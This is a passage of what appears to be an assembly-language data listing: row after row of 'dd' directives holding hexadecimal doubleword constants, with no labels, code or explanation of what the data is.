3A43CFA6h, 299D2444h, 0D4793775h, 0A8EFAB89h dd 533C05A7h, 6A8A2216h, 4A07B772h, 3825CA32h, 3CC8A050h dd 0D8F7D859h, 6B364F3Dh, 27F10ACAh, 0FC02881Eh, 57185D84h dd 8A660412h, 5E322BBh, 0CEC11ED4h, 0E1939DA2h, 0D6ED211Bh dd 0E8E144C5h, 0AF9EF665h, 18C32FC8h, 4E97BB8Eh, 9CFF5DFh dd 2316E996h, 81DD0F4h, 64569DADh, 0CA9E89Dh, 3A2F8AE3h dd 323410FFh, 0A9082244h, 26D5B65h, 0F23F4DA1h, 2569BE0Fh dd 7CE05FEFh, 0B5CA2E22h, 8BD89AD9h, 87B9C353h, 4B3F87ACh dd 4F12F5C3h, 8B8B564Dh, 2FC5BFC8h, 33DD309Eh, 685BB512h dd 1C7881F4h, 3536415Fh, 7F4F35AAh, 0BF045AB5h, 6ABA1278h dd 0EDE71CEFh, 6207F1DDh, 174DA099h, 0B6DB366Ch, 6E2BC9D2h dd 0A1021D1Dh, 338458E8h, 0B275E70h, 57BED1C6h, 7814F675h dd 0A677BD20h, 6E9AD410h, 58528979h, 4DE1F161h, 16D37BBFh dd 0BF640318h, 0BCDD2B9Ah, 0FF2E0A80h, 0B7291E61h, 4ABD6E5Ch dd 1120D77Bh, 48DFB0DBh, 0E9A91459h, 0BE6837BEh, 0CB31052Ah dd 17693795h, 64C5385Eh, 38247A66h, 23258F22h, 96B570B4h dd 39AA157Ah, 7F39530Eh, 1370579Bh, 0AD6F4688h, 0E28DE5ACh dd 43BE44EDh, 1C9141BAh, 43CECB92h, 0A536F40Ah, 3208F4EEh dd 4214D9DFh, 0AFAC6871h, 1941B8C1h, 0E47A0A7Fh, 0D12AE080h dd 7381A99Dh, 0AB7BC86Eh, 485B5AAFh, 94935314h, 95F2E6FCh dd 0F610558Ch, 42C38738h, 0DCBB644Eh, 985DF797h, 68C650E7h dd 0E21FA69Ch, 3B52B921h, 0E402101Dh, 0E93DC935h, 5DFAB04Dh dd 2B1334C2h, 9C821D65h, 0E79DF81h, 470EDEC8h, 7F7E7226h dd 0AB8D4DD2h, 8BC1EE70h, 0F340B3E3h, 583858B3h, 8044ECF7h dd 6B76537Ch, 2CA9EF9Ch, 0D07ECA39h, 51BCFB4Dh, 0A1831811h dd 469A5170h, 8456FA4h, 0A3BC8005h, 0A070C2BCh, 0F192E170h dd 8EE04BDBh, 0DAD9A50Dh, 174DDA3Ch, 0A3F789C4h, 0DBE70E55h dd 6291EF6Eh, 3131B512h, 0BE5E532Eh, 51FE7EF1h, 43E4AEB2h dd 57FCAA47h, 0F590ED4h, 0C10F9E8Ch, 72871F8Ch, 0B29F8BBDh dd 79C30127h, 662100BAh, 0AE9C51AEh, 4A59814Ch, 0F3E7FA3Eh dd 807137A2h, 0D3C08D33h, 7D1C224Bh, 40ACDD4h, 4FE49963h dd 8874BFD3h, 0F45D5434h, 385DE815h, 8CFF93DEh, 840F4C6Bh dd 0C1F3A232h, 877A8DB3h, 0F230EA37h, 213C9520h, 15BA158Eh dd 82AADDAAh, 3ED40241h, 0D1B43601h, 0E6F3859h, 22357244h dd 4F89BFFCh, 0F4CF93D4h, 0E3A54498h, 473CA57Ah, 952E2489h dd 738A5ABDh, 5C8310Ah, 0CAE2174Ah, 0D21B7BE0h, 0D842EB5Ch dd 9F2D3F0Ch, 9963F0E5h, 863BB0BBh, 0FFEBFA16h, 42EA20F9h dd 1BDE42D2h, 894D2F50h, 0DAA34FDDh, 3BD6AC30h, 5BB05C6Ch dd 60C2A673h, 0C9C4C458h, 0FA8DBF23h, 7D5044B9h, 94AD79BCh dd 9CDE5611h, 3B21C15h, 2588A2AFh, 3ADC2BC7h, 14B8284Dh dd 12D8590Bh, 59007DF9h, 0DBF6A50h, 5D313F8Eh, 0E1D98131h dd 58384C91h, 8561010Fh, 7951D421h, 61565B86h, 732BD5C2h dd 56CB1905h, 0FF7BBE1Fh, 8FCB0ECCh, 0A1AD02F7h, 17F07C98h dd 79C5A7E9h, 438540C8h, 0C169B6BCh, 6124F058h, 1B13116Bh dd 5E2788FAh, 8A67A91Dh, 0C3E9CED3h, 0B838BE2Ch, 62675590h dd 81B1C4D2h, 948136C5h, 314D4EC2h, 0B0964A09h, 1D67E9C9h dd 96C62EE4h, 2D851209h, 5C670672h, 0FA2D8AC2h, 0CA59EF0Fh dd 0A7813D2Dh, 248C6D83h, 8E9D53C4h, 0B66CE643h, 0CC025BBAh dd 3A9A4E62h, 48DCE203h, 9DB7BC6Ch, 0BA867351h, 0ABCAE54Eh dd 0E6AC32E9h, 46997838h, 0B6C99FA9h, 2897C5E2h, 7AE74E2Bh dd 0DBC07661h, 394CD879h, 62B65F25h, 4D08610h, 0D0623E3Eh dd 0F82902ABh, 0E43200ABh, 0B512E3A1h, 4D85C439h, 0E3D55BB5h dd 0F50477FAh, 7CA60DF7h, 867EFD95h, 231E21A7h, 68BC6531h dd 0EB5CEBB2h, 7CFDE87Ch, 464B38C7h, 79A316DFh, 0B03C5F8Dh dd 714830C1h, 530E96EDh, 2FEF72C2h, 1FDA1B52h, 2E09EF8Bh dd 83088F87h, 68DA525Ah, 6E7E23DCh, 7FDCD5C0h, 0E571778h dd 81516474h, 682CCFA7h, 0CA9DA3D2h, 931BBC32h, 0C154F6B8h dd 4452EC09h, 939FAF70h, 292D6FB2h, 0A007B436h, 0ABDA300Bh dd 50FAE844h, 0BC1EA80Eh, 0B0974568h, 331F7999h, 0E79A05ECh dd 9634CFB2h, 0B8FF24C9h, 0F67FC727h, 0CAEFD714h, 24DB0CD6h dd 4B471B1Dh, 1905DB44h, 22F395BCh, 0DDC0927Ch, 5FF604C5h dd 33C39Ah, 0F17D75C8h, 0CA26BBB9h, 9E7E9296h, 4111134Ch dd 7A0A0E71h, 6DBD9545h, 0B38C3355h, 8976F173h, 1ECAD40Ah dd 0BA1B847h, 0A23849Eh, 9A14EF5h, 831A7E06h, 2CE973A9h dd 25E97DDAh, 754978FCh, 18732BCBh, 5DDD8C2Ah, 25D470ECh dd 0EC64C66Dh, 6D4106CDh, 4BE14E31h, 0C0FC0092h, 1F050CF6h dd 0D4293F89h, 0AB2F1C97h, 0F0FE6DBEh, 0A2ED6AFFh, 60B19C07h dd 0F02F64B3h, 0D9F8E669h, 0A17EFB3Ah, 4C894DB2h, 0CA7640DEh dd 0C1E9246Eh, 1A19ED2Eh, 0B32DD1BCh, 56916363h, 156EA18Ch dd 0AD8356E2h, 0AF59D896h, 9AD33462h, 0AB1189F7h, 0DC0BBB2h dd 59A8C29h, 0F47B00B1h, 0EEDECF04h, 0BDB33C99h, 3C199410h dd 5F413405h, 0B2C7C8F5h, 0D88AE6F8h, 0F8AF73C8h, 60D4643Dh dd 274903F5h, 0DBB60FA3h, 15009B24h, 94BFAF15h, 0D15D10EAh dd 0A4D3264Bh, 0B4915DE2h, 0DD5B8E79h, 6BBAEC25h, 0BE8FCF96h dd 0E3665AA4h, 0D6FACC02h, 4C399433h, 0F2E5113Ch, 4581C84Dh dd 0E6D7C6Ah, 427C7F3Dh, 357A087Ch, 748C34A2h, 0BBFE026Eh dd 0EC85341Ch, 999185DAh, 33356F72h, 0A469487Bh, 38FEB334h dd 51C05CCAh, 0CF884366h, 5586EDE4h, 4F9BBFF3h, 0D3F70123h dd 0DB238FAAh, 88F1916Fh, 0EDA36DE0h, 72DE9CDEh, 0D2C7C7E5h dd 0BA9F5D43h, 1BF9D6B1h, 6196B63Bh, 0FA33F064h, 0D36C2358h dd 70E587B8h, 0F5453055h, 77FD13A2h, 0B74EEBB0h, 9D291254h dd 92241DAFh, 0C20C1379h, 2B84B96Ah, 3ACE66Ch, 48FB1A17h dd 6D2D4FFAh, 0EB58C496h, 9309E11Eh, 0E2A8932Eh, 9885FA8Ch dd 0E1E76C3Eh, 0EDC323B6h, 0BE3707B6h, 48F0E25Bh, 0EAE2CB7Fh dd 854A913Eh, 0B230CF9Ch, 3F5D4E46h, 0FE39EBDCh, 0B775D1FBh dd 0A19470DDh, 0F619010Ch, 0F8B3A303h, 6C29E449h, 4C2347CEh dd 6CDEC96Bh, 61A1A412h, 0E144A0B0h, 7CB44AFDh, 1AC43DC0h dd 9F676044h, 0CEA864D0h, 2BB46867h, 0CC623298h, 0F34738AAh dd 65EB9D21h, 0D68C779Ch, 0E64B7671h, 0F92FB0F3h, 0A04519B3h dd 3EF2A2BFh, 2AEE538Bh, 0ECD67AF9h, 86CA3929h, 79D0FA31h dd 5BABDE38h, 3D5BCC20h dd 0BC32FC4Ah, 0F432F82Bh, 1EEEDCDBh, 0F755DDE5h, 0E64043Ch dd 72E610h, 0CD301F31h, 9B78F3F3h, 0E548592Bh, 2755D2E1h dd 90287B8Ch, 8111DB05h, 0EF2F84A6h, 9D44E7B5h, 20597E94h dd 223C9285h, 1C4C1C57h, 0AA5BD69h, 94B5FCF4h, 868602D1h dd 327AD3D4h, 14CDA653h, 48CAECF7h, 0F1174F97h, 0D6FA0D6Bh dd 4EA1B466h, 0B77483F8h, 0A6DBAA1Eh, 0C47006BBh, 7D0DF578h dd 2E7840A4h, 0DEAD2834h, 0F456B0C0h, 81B539D0h, 8D527FA9h dd 7717E610h, 928CE543h, 0BFEF094Fh, 32C95AE3h, 0D3965097h dd 0F6D2C91h, 0DD32033Bh, 45826A09h, 71B5BFB5h, 2BE20E2Fh dd 3E6E7EB0h, 0A77A1FD8h, 15B14035h, 470503CBh, 36226DE7h dd 97501108h, 0FB83C095h, 0DE357DCCh, 0BC98CF96h, 334D2C21h dd 6593815Ah, 0FB7532E4h, 88C5A1D8h, 192F8B7Ch, 7A783AF7h dd 66FA8AFFh, 95463FCh, 268D286Ch, 4A7CC4B7h, 1A18C6CCh dd 8BCF6F19h, 68E096A3h, 5D164F0Eh, 0D256CBD3h, 49C9842Ah dd 0F50FB018h, 596ED12h, 0FBEF02C8h, 1268118Bh, 3FB2CC97h dd 8EFD9332h, 9E756C96h, 73E04265h, 6B934A4Dh, 0C4BE7E74h dd 0D2BCDB07h, 5E9B03EFh, 0A07DE7BFh, 0DEBD4F49h, 8A7C1B4Fh dd 67C7E77h, 2481D26Ch, 0D10358C6h, 0D8626545h, 0A4371E1Ch dd 0BC80908Ch, 5793FB96h, 0DE55B1AFh, 0C86536A4h, 22AB866Ah dd 8C24DD54h, 0F5336122h, 5E4AF4C3h, 0F0700743h, 0BF1D4C18h dd 48296CB0h, 7510A42Ah, 0E064EFFAh, 84ABA598h, 0BDDF8A74h dd 0E97A591Fh, 3619A18Bh, 58BED6ADh, 4D3D07EBh, 479616C4h dd 37DEC8A7h, 0AF15AA73h, 0F874905Ah, 6074DC8Eh, 63AF05C4h dd 5B4A3612h, 0A598F535h, 8E2E0F31h, 5E3BA91Ah, 6165ADC0h dd 78871FF7h, 946ED069h, 39B34D50h, 0AC572B34h, 7CEC4CD0h dd 0A8945326h, 6EDE14BFh, 80F8B500h, 0E9E6656Ah, 7F4A97D6h dd 43515120h, 868E761Ch, 0A14CC4B9h, 528EDD70h, 13B50D2Fh dd 0D60EDD75h, 3B01200Ah, 9A1A23E5h, 1356913Ah, 0A4D3EC7Fh dd 6D2712ABh, 40A3393Fh, 0EB748BABh, 8E0D5B28h, 0BD102445h dd 3CF0E0B0h, 0EF4D7C15h, 0C5DB8C11h, 0D9451A0Bh, 59A69F09h dd 36FD224Ah, 0F1B3261Bh, 0ECEE546Ch, 1C54E47Ch, 0B0265F9Fh dd 9FFFEACDh, 0E333C3F6h, 3212DEA5h, 0E8DD3880h, 95B443F9h dd 0C9B80771h, 1438B7AAh, 0CA5FE8DEh, 472B4446h, 0E6F732D4h dd 2B3C1E26h, 0D333A935h, 3B99D7Fh, 2D229566h, 758E275Ah dd 0D9481D6Fh, 0D3CCD499h, 46D9647Ah, 0F78527BAh, 40C1155Dh dd 2C9596B1h, 650B2F76h, 2E1F0BAh, 8B98010h, 0EEBA458Ch dd 328CEFFAh, 3E2771A9h, 0B13B3E28h, 0CA8BE4A5h, 50DA6C6Eh dd 0CBCC81D2h, 0A3E3D85Bh, 0BCCBB78Bh, 214DE242h, 5FAC1F12h dd 0FC4C071Bh, 0D800E496h, 0BF86282Ah, 0F6A22C2Ah, 74AD2CB3h dd 0E02A5A40h, 6F9A7116h, 35910BC9h, 3673CA69h, 34088573h dd 59F3F0F0h, 0C5BB7748h, 0C1705007h, 0B1F5FCF4h, 64641DC7h dd 0FFA5B9BCh, 0F9EC746Dh, 0F5720184h, 1698CE26h, 0F9F6847Fh dd 0D1801A51h, 1DDA7404h, 888FC522h, 7108CEB3h, 2A50DCE4h dd 515C6E01h, 0D5399000h, 984393D7h, 9B97A74h, 6A5CA8A7h dd 6447EEA8h, 0C6203A03h, 910C7C6Dh, 57C50C13h, 6D211467h dd 373C0428h, 75A302ABh, 3F6DC0B0h, 836E8625h, 4B353787h dd 0D36A8F9Ah, 0E9BDDF4Dh, 649C254Ch, 6B3DA1FBh, 0BF9A31F2h dd 293D939Dh, 983168CAh, 7E770825h, 56FC1C3Bh, 9218307Dh dd 0C657CE75h, 0FFE8D944h, 0EF824F75h, 0D0A9B942h, 62EBFFEBh dd 295D6570h, 48E2C4B1h, 0A264360Fh, 211E4CB7h, 2905E3E1h dd 13DBCC81h, 94D57963h, 0CA02C44Dh, 23886590h, 27354D5Eh dd 91B8954Fh, 0F46F5EAh, 185D69E4h, 9D31C7B9h, 85E523C0h dd 9174EA32h, 1FA9EE69h, 0A89BECCFh, 778BC50Ch, 3B4BFBD1h dd 63ED3D11h, 85D3AF76h, 0FDC87329h, 0A7D32374h, 0E2C17D9Ch dd 0C49DA2D3h, 0DFAC4A3Fh, 0BA23B4AAh, 24D29763h, 519BF22Ch dd 698D9EB7h, 95B62914h, 0FC8BE4Dh, 45DAA0C2h, 51DFB020h dd 48D30D92h, 0FD991ED2h, 0C9C461BAh, 0DD0041DCh, 41B505DDh dd 283D2D0Ch, 2EAE3625h, 0B0BDFC1Ah, 0C5A61CA2h, 0ABC1D330h dd 9ED87D35h, 8A6A5B06h, 0D48EF352h, 66D1FDE4h, 227F33FDh dd 0A5ADBF8Ah, 0B8787F27h, 86E45F4Dh, 2724A0F7h, 0DA37EB66h dd 98999B10h, 8D6DAE30h, 26D23783h, 29489FD7h, 21CB73EDh dd 84229EA4h, 0F4CAB9FEh, 0E99212EFh, 1D775ED4h, 0CD125809h dd 3BAA59E2h, 41BB133Fh, 0C747C4C7h, 338E4658h, 0D4726DB0h dd 0D43EB3F7h, 555C9D6Dh, 6E9E9098h, 75B7C868h, 97A802B1h dd 0BE0BFC3Eh, 3527718Fh, 271106CFh, 6129A7CBh, 293CA0FBh dd 0FAE90B6Fh, 3DAC3111h, 0C4B02903h, 9A12338Dh, 6C3F828Eh dd 0FCBEE10Fh, 0A4111491h, 0B6A1D40Dh, 0EF26CC5Dh, 5ED3B37Bh dd 64BE8611h, 0ED0B57C5h, 0E6E0F703h, 2486221Ah, 0A22C3358h dd 0D2EEB107h, 35F6E3DBh, 1D659329h, 0F6EE7332h, 0C95D2E1Ch dd 0C3E937A6h, 0C9FADDAEh, 79EFB486h, 0F57D8C5Eh, 0A285575Dh dd 50841BF1h, 1E6ADC42h, 0D3C385C5h, 89EBB572h, 935C6240h dd 0D2A85832h, 0D2F54F7Dh, 0A9159F2Ch, 0E389BEB7h, 9E4031D7h dd 0E817E0Ah, 7B191F00h, 0A00B94F7h, 1134B27Ch, 0FD2FB15Eh dd 0F0350457h, 368E180Fh, 65BD407Fh, 4DAAA0Ah, 4F7508E9h dd 0AA1B2FB3h, 0F7771E76h, 0C6404F97h, 97C95B97h, 64375D37h dd 7F802E9Ah, 2D5C5EADh, 0B6313088h, 7BC533AEh, 31091453h dd 1E6BC1BEh, 1C9D3A14h, 13420649h, 0C120828Dh, 0E28B63E6h dd 0B63B2C1Ah, 0BF5DE68h, 821D8E14h, 0CB946CDBh, 0F4AA753Bh dd 0B6736EBBh, 6D93A5A6h, 3FDD949Dh, 0B419E329h, 908AF760h dd 7F9BEAB4h, 0BE958256h, 0AAF9DD94h, 835A14ACh, 0A489C00Ch dd 0BAEEF907h, 5198E7B8h, 24C36148h, 5606FB1Dh, 83B482B0h dd 389C507Ch, 0C44F3451h, 9C5C4658h, 0ED80E76Ah, 5F6BAA86h dd 590192h, 2053EB2Ah, 0BDE77CA2h, 7E1583D1h, 2F144BDAh dd 99025Ch, 9605F129h, 5E5E7D93h, 0BE0D3CE0h, 0C0C28C1Bh dd 0C8BE7830h, 5EAD5D40h, 13B30B26h, 843E9CBFh, 8B9EB1F8h dd 25E3104Ah, 7D347DDAh, 662E3EDCh, 7A4AF03Ch, 631E8DC9h dd 472BFE2Eh, 5B24F0D2h, 22201B5Ah, 0C4DDBE82h, 14904AE1h dd 0C8D1F7ADh, 320240E8h, 0A6999979h, 5576ACACh, 7BC87CDCh dd 18C92FADh, 6393ADE9h, 88DB06A5h, 8754D88Ch, 0DD4A8249h dd 7618E1A2h, 5E604C7Dh, 5E224204h, 3369DA46h, 0C4AAE0F0h dd 47B57851h, 175D650Ah, 1FF366Bh, 8ABF3F12h, 1C44D130h dd 197322CEh, 0EB4E8197h, 3FDF77DFh, 0F6A2CACCh, 0FE5BCAD5h dd 1E67B566h, 0C048E00Bh, 1566D58Dh, 27A1A5ECh, 0FD0F7A39h dd 669C8705h, 0FA7CE10Bh, 0A3690347h, 135E9637h, 982CBD60h dd 2B5D67E5h, 0AB9E06A5h, 76C75C1Fh, 0C04A2B5Fh, 0B229AE63h dd 44079543h, 2FC18F71h, 487B4399h, 25FED925h, 825ACE68h dd 908C0DDDh, 387A31D9h, 2F7FD7A0h, 0EE116579h, 0FF9FC58Dh dd 6B325B89h, 5A615A1Bh, 0C917D33Bh, 0E4988B95h, 0A579EC62h dd 2819136Ch, 506C3A26h, 0F484717Dh, 0A8A0BC5Ch, 4F34E664h dd 0FA15782Dh, 2733B7FFh, 4FCAFD4Eh, 8ED85BAh, 5B0E6F75h dd 84D01CE1h, 0B71D9113h, 63E6486h, 0E857D84h, 0FC165703h dd 6E2CC73Eh, 7357A71Ch, 0B78266C4h, 0B3CFD449h, 0AC72C135h dd 1535FDC0h, 6F945A81h dd 0D3E1CD21h, 7F63D3E9h, 0C8EF21E3h, 0AAE50B6Eh, 2A5A2723h dd 3C637B41h, 0B09EF893h, 0E2432C78h, 488BC5C2h, 8AFB3469h dd 0C572875Eh, 21AF66F5h, 0CF09C900h, 6251D474h, 0B51D469Ch dd 4B028352h, 57FEED87h, 68AAE893h, 0A96861CAh, 0B26C4630h dd 0C5B570F3h, 37A973A6h, 0F8CC11AEh, 9B314B98h, 2C65B218h dd 0A1DC428Eh, 38AE2246h, 0FF9D6D5Fh, 750BA8C5h, 34037BBDh dd 0DA33A68Dh, 39253DCAh, 69A23C11h, 16C0C4FCh, 0CB9DBA76h dd 0A59F096Ch, 0AA4F6952h, 50ABCA38h, 284853C6h, 0E431E4F4h dd 0A11C8410h, 95A8B584h, 40FACD46h, 3FF3F855h, 0C29A10B9h dd 9B32A8FDh, 0A92C356h, 0D927DA6h, 0D69899F3h, 7368AA5Bh dd 562F740Dh, 0AFC65505h, 0AC19A81Bh, 0FA00C4DAh, 5E0D4FA9h dd 78D32E22h, 89645D7Eh, 0B11CADA4h, 414134E9h, 98BE4E54h dd 0BD412915h, 5B20E853h, 365D8274h, 0FAC00EF4h, 50DBDFF1h dd 8F7FC0A5h, 197B61FAh, 0B83D01EBh, 0A2D4A168h, 0D9343E3h dd 0F5E997BCh, 8714DCC9h, 2EECB9E7h, 6B1DD05Dh, 0D1272BA7h dd 38DE03D6h, 0F6BF8C26h, 0A35EFB4Ah, 0F79A65AFh, 18789C61h dd 1075F8B3h, 5EE341FCh, 0ABEAAF66h, 8B0546B2h, 0AF2C3C44h dd 0E89AB071h, 0D3C4FFE5h, 0A85A8C2Eh, 13D6184Ah, 388B4F75h dd 56C050BFh, 2ACB2453h, 0A93CA555h, 4C4BA94h, 0DE15BBE6h dd 0CA749355h, 0A6A05249h, 92824C02h, 356B8DFEh, 50F80005h dd 6F1131D1h, 24DB8ABh, 0E5A8D441h, 9FCC45E7h, 0C37AE6E9h dd 341C87A9h, 745B981h, 576D04EDh, 266EA3C2h, 0B9E969C8h dd 26F570C0h, 0CFEC16BAh, 44487B69h, 6D025BCEh, 387D8FB2h dd 24BACD5h, 6791297Fh, 8683A642h, 6A832A5Dh, 0DB20CC4Eh dd 0D5D31FD6h, 44B27AFh, 57A9F8D2h, 21B086AFh, 7B1B49CDh dd 0C31EB375h, 9A502174h, 0D674CCDDh, 34BF9326h, 398FA4AAh dd 4768C97Dh, 0E17E1EEEh, 9CAE4AECh, 6638BA1Ch, 41E7D110h dd 6FC0AF7Ch, 0C642FE33h, 82DF33FBh, 17179619h, 0D57E303Ah dd 76D0B381h, 785398C5h, 0B8566DF4h, 0FDE09854h, 70A9AC21h dd 44E0FBBEh, 1C22761Dh, 63DB2004h, 69B068DFh, 0F13E650Bh dd 8E9D90E9h, 8FF9CE2h, 0B8938ED2h, 0C0914D2Ch, 0EBCE703Eh dd 0BE70F55Fh, 84C4FBABh, 7E954759h, 0A35406FEh, 0F4E65488h dd 0B4EF33E0h, 33697DEEh, 0BEF87E98h, 5223F9CFh, 262CFDD6h dd 0D3E948CBh, 0B1E1E8F4h, 0AEE545BEh, 26D9CF2Dh, 0EA0B8999h dd 3BD1430Ch, 58F0F6DEh, 0C3612866h, 7DE8172Bh, 69A8BD14h dd 33BC7E6Fh, 35FB1CE0h, 5A251CB5h, 76F21764h, 43A93CF1h dd 4425E5BAh, 4715FD9h, 5AB6817Eh, 0C6CE0400h, 0A870249Ah dd 0C4894C14h, 281B1160h, 16537A3h, 0E0BAFA1Fh, 3065FAA5h dd 1E0A2021h, 7EF1D788h, 129672EBh, 0BD39F9A0h, 0D851F0DEh dd 3426B762h, 0AE9CA40Eh, 1E09D694h, 3C4217DAh, 0A6DB531Ch dd 0D3FD0D3Fh, 96737A7Fh, 93B75596h, 8978B21Bh, 69BEACC6h dd 9D676697h, 3D2254EBh, 0DE1769A6h, 6FE94A11h, 69668829h dd 653C9C90h, 0B465768Ch, 0D92F8C81h, 0B4BA4EF8h, 8A09BD66h dd 0D4ACDEFh, 0ACB83CCEh, 0B8716C48h, 7CC8AF94h, 0B8B0719Bh dd 0AB37A052h, 0D0031EE6h, 4120291Fh, 5977AE07h, 79848B9Bh dd 2B4E1DD9h, 63A4DD35h, 3657A873h, 0B412973Eh, 0B79B134Fh dd 0B27F25B7h, 7C6D6E8Fh, 0E92697A3h, 4FB65FCDh, 7A064782h dd 0AB978342h, 664AEE26h, 0B4179089h, 5D53ECAFh, 4C0EF990h dd 0BE9F5229h, 3FD7F0ADh, 59B84EF2h, 646F12Eh, 7F794D5Eh dd 17A26001h, 9DFE0365h, 43424917h, 1EEE7D5Dh, 26FA0FDCh dd 0E59457A2h, 0FA8286C9h, 39F1CB0Ch, 0B8F0D581h, 0B16679C7h dd 0F5DEBB94h, 229CE559h, 149E79Fh, 76B8C9D7h, 0C7472F8Fh dd 749E42B7h, 5DB564BEh, 2B5F8DE4h, 6965C401h, 0DFACFAF5h dd 0BD47882Ah, 0D91D4EDCh, 0C0BE0BB0h, 0BFF30718h, 0C5F2ABFBh dd 5C65BDC9h, 3E094950h, 0EE38C308h, 0DC73E197h, 45A7FCF1h dd 4942FC56h, 581B2CB7h, 0A7E07EA9h, 0F4DB1AE4h, 0BFC8E1C6h dd 4B6786Dh, 0DB6DD27Fh, 245FD952h, 0C25C51CAh, 5ACC2B92h dd 0CBDC782Eh, 3417F872h, 0D91A4547h, 5E9018BBh, 0F6F9D15h dd 0DEE4C661h, 36DC4A8Fh, 3D10A7F1h, 0F9BDB992h, 0AF12CE82h dd 0A9432BF8h, 0FAF10579h, 0D99B5FEh, 0FFB76CF0h, 0C80C2726h dd 357C6061h, 950BD2A0h, 0D9DFB05Bh, 0ADC634F2h, 60124550h dd 0CEC7E35Bh, 42F068E3h, 0D9A47308h, 32D830D5h, 55CCA75Dh dd 3921427Bh, 96730D0h, 981CA9F5h, 0E989F77Dh, 0F17D63F3h dd 5B04C171h, 0C171340h, 9687BED0h, 8CF6F888h, 0B896DA9Eh dd 0E5AECFE9h, 563E13C1h, 96E99B70h, 65298AEAh, 34760EC9h dd 84A493B6h, 0EA386896h, 4C3E0DD3h, 0E5789745h, 2DE31C13h dd 0EE4FAFDCh, 0A1473BCh, 0C1A902D9h, 7DDF0DB5h, 0AF0C7FA4h dd 842D907h, 0ADCACF18h, 7AA82C8Eh, 0A5EB05A6h, 3FA5B58Eh dd 9FB6DEC7h, 2EFD54ACh, 0CEF277EDh, 7A06E2E4h, 64D99B92h dd 7AE07DB0h, 557F558h, 0C0AB6EF7h, 9523E8EAh, 0FD33D4B3h dd 93F83471h, 1527150h, 662731C5h, 8542B962h, 544E2082h dd 0FABB5443h, 7EEE3CC0h, 9B39E1D0h, 91C06B36h, 1C724ACEh dd 0D5353F22h, 0D32224D1h, 0A6159A9Ch, 4CB35B6Eh, 86C096A1h dd 2316EB18h, 0BC6E3C19h, 0E579C5A7h, 0FAA9BBC5h, 78ABDCB9h dd 13D5BBD0h, 6DD2AD9Dh, 0B2973EFh, 5CE72357h, 0AC3DC939h dd 97B8810Bh, 28CC30B3h, 761218A9h, 0E63BB86Ah, 749A1F92h dd 0FB13DA72h, 87C89409h, 83554204h, 0A272BBC1h, 0AC9B9E49h dd 93B3035Eh, 0F83C12E8h, 0B5FF3FDCh, 9BCEFE2Ch, 0F07BCA09h dd 3DECCE20h, 6C78656Ah, 8D1A11EBh, 0D7DD1681h, 9B67C4CFh dd 1039711h, 0EB2ED182h, 0ACDA67DFh, 2BECF193h, 772BE640h dd 44526065h, 600C6A1Ch, 2DDD470Ch, 0B77764Dh, 29CD7A23h dd 4B2BEC54h, 683C5D30h, 0A7BBD01Eh, 531B7CA1h, 6B2F54BAh dd 9FF44302h, 0BF874E62h, 0ED548A91h, 0C423ED9Ah, 27D9E82Dh dd 468C348Ch, 0A97C7888h, 10B02B2Bh, 2468DA57h, 27F896CEh dd 0F7FB7ECh, 89B896E2h, 0C6FE5EE0h, 0FC155D4Fh, 0F02EE089h dd 67A5A5CAh, 666F9663h, 8A88458Eh, 833B0FB9h, 0C0339EB1h dd 4B74E67Eh, 0C163DA52h, 11A90A7h, 0DBA045CEh, 0FFAE630Ch dd 803ED7C0h, 21E46510h, 840EB8CFh, 8949B588h, 0E15D6787h dd 0D8ECCB77h, 0FE684A85h, 8D5C081Fh, 9C266819h, 0F4DB0F20h dd 0BE1F89AAh, 59E798F6h, 0F1B28EA7h, 2CED4933h, 5B2EF813h dd 0E2DCDABBh, 548154D9h, 0B44F3D82h, 0ABEEF2C5h, 0BABB4271h dd 424EBCBBh, 0DDCF52B4h, 0DEA1A62Eh, 5E77270Fh, 0C470C05Ch dd 0A0BE0603h, 0ACD8EBD8h, 0FB21FE19h, 0A7EF05FDh, 0DCF979EBh dd 1C150C6Ch, 7EBBC9F0h, 0E32A1159h, 0AA525AC9h, 0ECF4C3CEh dd 0EF0F95E1h, 0E8B41B93h, 0DE413213h, 506EEA1h, 85C23970h dd 0C4B24619h, 3E8EC2F1h, 0BE722603h, 0A5B05B6Ch, 0E5AC6CCFh dd 0B0C0C643h, 0CC34397Bh, 0BFC3971Eh, 3F76B3BDh, 87F4888Fh dd 23E01F51h, 5EE9F4Eh, 66C83211h, 0D895B978h, 0DB7B61CAh dd 7D1FAFACh, 0A8B9566h, 0D6E3543Eh, 1AAACF6Dh, 0DEC37A3h dd 0ADEBA8AAh, 2E82D2ECh, 3B9339F1h, 7E845841h, 3CF78DAAh dd 0CADDC6E0h, 7D3F0E49h, 0E0ADF811h, 4D010D47h, 0DE642237h dd 3A8E640Ah, 40B89816h, 3E95E9DFh, 0B1D8B201h, 0B4E829F2h dd 0C6E83A45h, 1B1F5FDDh dd 0F6B4EFAAh, 629E7791h, 0ABE7E97Ah, 346B66BFh, 0F91FDA01h dd 9175A527h, 804E28EBh, 231F1A8Dh, 9A7441AEh, 49BB586Ah dd 66ED4B4h, 30EC7984h, 0F52E07ACh, 287D728Ch, 795832ECh dd 8360373Ah, 4BB1FFA1h, 0E98ED902h, 0D0E4DA04h, 0B35C6AB0h dd 1BBB7B0Eh, 0D5D6C94Ah, 0E7669B5Ah, 0FC29D9D7h, 0F88C6BA2h dd 4BD12BF3h, 95C8FCDDh, 1D8EC935h, 0E82BF819h, 59660A37h dd 52F46297h, 0EF390369h, 0FDBCE4B5h, 266713D8h, 229BE681h dd 7FBBA9A3h, 0B61B324Ch, 0EE11817Bh, 0EF61EE9h, 8694AD2Eh dd 0B917EBCDh, 18D63B15h, 7BFBB63Ch, 0D606BDDEh, 4B4D0ED5h dd 0C95B33F2h, 0B6FA120Ah, 4E0BF6D4h, 36D40881h, 6BCAD00Bh dd 8DAFC3D9h, 0CA775B25h, 0DA90DA1Eh, 0E4994B3Eh, 0F08BD04Fh dd 353E4357h, 6D3CDAF7h, 0C7E6DB4h, 56F44D17h, 6540202Ah dd 0BF4922F0h, 0E23BB579h, 3F2083ABh, 84714391h, 165ECBACh dd 8781A1h, 19728D80h, 0B7EF1251h, 0C93F3458h, 6E9C9C0Eh dd 0A895CD9Ah, 7951C4F5h, 1CD86079h, 0A96CC9CBh, 93650AE8h dd 438A6A90h, 77915CD6h, 0D576FCD0h, 12527850h, 268331C1h dd 0D7C1191Bh, 20404560h, 0F2F490ECh, 9323875Ch, 0A7B0F814h dd 0A0E34C65h, 0C9C63FFBh, 0DAC44431h, 0D6842143h, 0EF3E3A8Eh dd 4FBF4FD4h, 0AB435C62h, 461D57F6h, 43C09413h, 0D4C7F51Dh dd 96CB3DC9h, 